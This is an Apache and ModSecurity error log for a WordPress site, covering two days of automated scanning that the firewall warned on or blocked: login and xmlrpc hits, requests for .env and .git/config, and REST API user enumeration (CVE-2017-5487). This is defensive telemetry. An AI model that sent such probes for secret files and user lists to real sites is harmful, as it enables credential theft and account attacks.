[Tue Dec 09 20:42:49.141470 2025] [:error] [pid 30498:tid 30503] [client 34.86.234.145:50774] [client 34.86.234.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.234.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTgZSR2mcZJQ5qP_RC02iQAAAAE"]
[Tue Dec 09 21:51:38.100453 2025] [:error] [pid 30500:tid 30571] [client 194.233.75.143:63922] [client 194.233.75.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.233.75.143, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTgpaq2eIIK3JPWHCXUIzwAAAY4"]
[Tue Dec 09 22:18:39.178898 2025] [:error] [pid 30499:tid 30554] [client 159.89.184.248:65507] [client 159.89.184.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.184.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTgvv00x3OqZTOPp7ckZzQAAAVg"]
[Tue Dec 09 22:18:42.787874 2025] [:error] [pid 30499:tid 30535] [client 159.89.184.248:65507] [client 159.89.184.248] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTgvwk0x3OqZTOPp7ckZ2QAAAUU"]
[Tue Dec 09 22:18:45.778511 2025] [:error] [pid 30499:tid 30534] [client 159.89.184.248:65507] [client 159.89.184.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.184.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTgvxU0x3OqZTOPp7ckZ3wAAAUQ"]
[Tue Dec 09 23:00:53.194777 2025] [:error] [pid 30591:tid 30595] [client 192.200.210.233:12497] [client 192.200.210.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTg5pRG-g76drVdWQUWszwAAAEE"]
[Tue Dec 09 23:08:14.282772 2025] [:error] [pid 30591:tid 30609] [client 146.190.155.17:33248] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTg7XhG-g76drVdWQUWviQAAAE8"]
[Wed Dec 10 00:22:43.625391 2025] [:error] [pid 30591:tid 30610] [client 5.161.241.41:58464] [client 5.161.241.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.241.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aThM0xG-g76drVdWQUXMMgAAAFA"]
[Wed Dec 10 01:37:49.127294 2025] [:error] [pid 2366:tid 2389] [client 172.104.233.211:35014] [client 172.104.233.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.233.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aThebUAeBjkmsNRkd1NpBgAAANU"]
[Wed Dec 10 01:48:49.101185 2025] [:error] [pid 2366:tid 2381] [client 35.238.15.234:37032] [client 35.238.15.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aThhAUAeBjkmsNRkd1NyFwAAAM0"]
[Wed Dec 10 01:49:46.078530 2025] [:error] [pid 2280:tid 2343] [client 106.227.49.113:42286] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aThhOncqIB-8ALgw4ZpfngAAAIY"]
[Wed Dec 10 02:53:27.095596 2025] [:error] [pid 2280:tid 2337] [client 82.223.128.142:48296] [client 82.223.128.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.128.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aThwJ3cqIB-8ALgw4Zp-7QAAAIA"]
[Wed Dec 10 04:17:34.110603 2025] [:error] [pid 11267:tid 11321] [client 45.10.160.28:48580] [client 45.10.160.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.10.160.28, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTiD3oY2npWNIVl2IDxwVgAAAFg"]
[Wed Dec 10 05:16:47.136042 2025] [:error] [pid 11266:tid 11278] [client 156.67.31.208:53640] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.67.31.208, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTiRvyXL_Qb0Ip3FW3mBxQAAAAg"]
[Wed Dec 10 06:35:07.928121 2025] [:error] [pid 11354:tid 11359] [client 195.154.208.64:47868] [client 195.154.208.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.154.208.64, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTikG-2TFO6mVSqWP8QijQAAAMI"]
[Wed Dec 10 09:07:18.793105 2025] [:error] [pid 16566:tid 16583] [client 34.151.198.67:38852] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.151.198.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTjHxiEgzB1153EFuAbtHgAAAU8"]
[Wed Dec 10 09:17:38.659833 2025] [:error] [pid 21255:tid 21259] [client 88.99.242.15:43538] [client 88.99.242.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.242.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTjKMvOw-vgCwe7hEWFCuAAAAgE"]
[Wed Dec 10 10:23:31.502345 2025] [:error] [pid 11266:tid 11283] [client 107.180.252.236:54376] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTjZoyXL_Qb0Ip3FW3nQxgAAAA0"]
[Wed Dec 10 10:39:44.069691 2025] [:error] [pid 16596:tid 16606] [client 34.222.248.152:55402] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aTjdcHBe21fHOHH2RQpEawAAAYY"]
[Wed Dec 10 10:43:38.660613 2025] [:error] [pid 16597:tid 16648] [client 173.252.82.8:57672] [client 173.252.82.8] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "54.39.6.21_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aTjeVG4Hlu0QtpUGkRRv_AAAAdU"]
[Wed Dec 10 10:48:38.778406 2025] [:error] [pid 21255:tid 21276] [client 35.93.119.192:45506] [client 35.93.119.192] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTjfhvOw-vgCwe7hEWFZIgAAAhI"]
[Wed Dec 10 11:31:49.194328 2025] [:error] [pid 11268:tid 11335] [client 45.56.122.18:59300] [client 45.56.122.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.56.122.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTjppbbpLcj9WqyQndxWlQAAAIs"]
[Wed Dec 10 12:19:36.436633 2025] [proxy_fcgi:error] [pid 11266:tid 11286] [client 103.4.122.14:54020] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Dec 10 12:20:26.336434 2025] [proxy_fcgi:error] [pid 16597:tid 16643] [client 103.4.122.14:54168] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Dec 10 12:45:04.916030 2025] [:error] [pid 21291:tid 21308] [client 47.244.90.157:52172] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.244.90.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTj60JreiUgLUUTTKJd7mAAAAk8"]
[Wed Dec 10 13:38:42.247924 2025] [:error] [pid 21356:tid 21362] [client 182.42.111.156:58661] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTkHYqfG7wIA5S25SlefiwAAAsM"]
[Wed Dec 10 13:46:16.192501 2025] [:error] [pid 16566:tid 16590] [client 88.87.70.158:57668] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.87.70.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTkJKCEgzB1153EFuAY_HAAAAVY"]
[Wed Dec 10 14:55:19.770622 2025] [:error] [pid 36975:tid 36982] [client 213.133.104.24:43860] [client 213.133.104.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.133.104.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTkZV9_ZNQ3zMmb38BEKWQAAAII"]
[Wed Dec 10 15:16:47.382186 2025] [:error] [pid 36976:tid 37027] [client 35.237.109.21:59954] [client 35.237.109.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.109.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTkeXySpHW5KVaY9tJk2pgAAANQ"]
[Wed Dec 10 15:16:50.340222 2025] [:error] [pid 36976:tid 37018] [client 35.237.109.21:59954] [client 35.237.109.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTkeYiSpHW5KVaY9tJk2qwAAAMs"]
[Wed Dec 10 15:16:52.730965 2025] [:error] [pid 36976:tid 37014] [client 35.237.109.21:59954] [client 35.237.109.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.109.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTkeZCSpHW5KVaY9tJk2rgAAAMc"]
[Wed Dec 10 16:06:47.504430 2025] [:error] [pid 49095:tid 49107] [client 45.82.122.124:31074] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTkqF8orr4Jt2Tfx_EZ2RAAAAUo"]
[Wed Dec 10 17:16:25.591973 2025] [:error] [pid 46868:tid 46888] [client 82.165.113.35:57676] [client 82.165.113.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.113.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTk6aY3NdlN2GOOyBjFIkgAAARI"]
[Wed Dec 10 18:32:27.733730 2025] [:error] [pid 46868:tid 46873] [client 192.250.232.94:44852] [client 192.250.232.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.232.94, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTlMO43NdlN2GOOyBjFdjwAAAQM"]
[Wed Dec 10 18:47:13.883298 2025] [:error] [pid 36975:tid 36997] [client 34.42.210.56:58897] [client 34.42.210.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.210.56, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTlPsd_ZNQ3zMmb38BFS2QAAAJE"]
[Wed Dec 10 18:47:16.852012 2025] [:error] [pid 36975:tid 36987] [client 34.42.210.56:58897] [client 34.42.210.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTlPtN_ZNQ3zMmb38BFS4AAAAIc"]
[Wed Dec 10 18:47:19.040117 2025] [:error] [pid 36975:tid 36981] [client 34.42.210.56:58897] [client 34.42.210.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.210.56, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTlPt9_ZNQ3zMmb38BFS4wAAAIE"]
[Wed Dec 10 18:54:14.496466 2025] [:error] [pid 36976:tid 37018] [client 142.111.126.92:47725] [client 142.111.126.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.111.126.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTlRViSpHW5KVaY9tJmLkAAAAMs"], referer: https://vetstars.com.au/
[Wed Dec 10 19:42:48.410739 2025] [:error] [pid 37062:tid 37068] [client 213.168.176.42:60324] [client 213.168.176.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.168.176.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTlcuDB0I62HCw8Z5BRNNwAAAAQ"]
[Wed Dec 10 19:50:33.472993 2025] [:error] [pid 49095:tid 49115] [client 182.40.104.255:52680] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTleicorr4Jt2Tfx_EbbPgAAAVI"]
[Wed Dec 10 21:01:37.749285 2025] [:error] [pid 37062:tid 37071] [client 178.62.226.48:42098] [client 178.62.226.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.226.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTlvMTB0I62HCw8Z5BRh4AAAAAc"]
[Wed Dec 10 21:33:07.631524 2025] [:error] [pid 46868:tid 46879] [client 35.237.226.140:50084] [client 35.237.226.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.226.140, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTl2k43NdlN2GOOyBjGE2wAAAQk"]
[Wed Dec 10 21:33:10.362104 2025] [:error] [pid 46868:tid 46875] [client 35.237.226.140:50084] [client 35.237.226.140] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTl2lo3NdlN2GOOyBjGE3gAAAQU"]
[Wed Dec 10 21:33:12.675643 2025] [:error] [pid 46868:tid 46873] [client 35.237.226.140:50084] [client 35.237.226.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.226.140, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTl2mI3NdlN2GOOyBjGE4AAAAQM"]
[Wed Dec 10 22:17:57.936235 2025] [:error] [pid 36977:tid 37051] [client 47.244.90.157:46818] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.244.90.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTmBFcc-JLl-uoL-Au7UiwAAAFE"]
[Wed Dec 10 22:36:21.195165 2025] [:error] [pid 36975:tid 36985] [client 34.68.43.69:58115] [client 34.68.43.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.43.69, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmFZd_ZNQ3zMmb38BGHlAAAAIU"]
[Wed Dec 10 22:36:24.064139 2025] [:error] [pid 36975:tid 36989] [client 34.68.43.69:58115] [client 34.68.43.69] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTmFaN_ZNQ3zMmb38BGHmAAAAIk"]
[Wed Dec 10 22:36:26.184756 2025] [:error] [pid 36975:tid 36998] [client 34.68.43.69:58115] [client 34.68.43.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.43.69, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmFat_ZNQ3zMmb38BGHngAAAJI"]
[Wed Dec 10 23:33:15.430086 2025] [:error] [pid 49095:tid 49108] [client 74.208.186.159:50824] [client 74.208.186.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.186.159, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTmSu8orr4Jt2Tfx_EY1kAAAAUs"]
[Wed Dec 10 23:39:52.118642 2025] [:error] [pid 37062:tid 37083] [client 209.141.48.80:56307] [client 209.141.48.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTmUSDB0I62HCw8Z5BSIfgAAABM"]
[Wed Dec 10 23:41:51.336163 2025] [:error] [pid 49095:tid 49118] [client 209.141.48.80:5395] [client 209.141.48.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTmUv8orr4Jt2Tfx_EY36QAAAVU"]
[Thu Dec 11 00:07:20.022264 2025] [:error] [pid 37062:tid 37088] [client 34.75.244.43:54027] [client 34.75.244.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.244.43, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTmauDB0I62HCw8Z5BSNdwAAABg"]
[Thu Dec 11 00:07:22.848263 2025] [:error] [pid 37062:tid 37087] [client 34.75.244.43:54027] [client 34.75.244.43] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTmaujB0I62HCw8Z5BSNfAAAABc"]
